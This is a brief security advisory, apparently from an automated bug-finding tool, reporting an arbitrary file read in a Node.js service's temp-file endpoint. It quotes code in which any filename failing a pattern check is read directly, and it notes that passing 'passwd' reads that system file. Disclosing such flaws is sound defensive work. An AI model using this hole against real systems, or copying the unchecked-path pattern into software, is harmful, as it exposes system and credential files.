This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside
app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);
Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
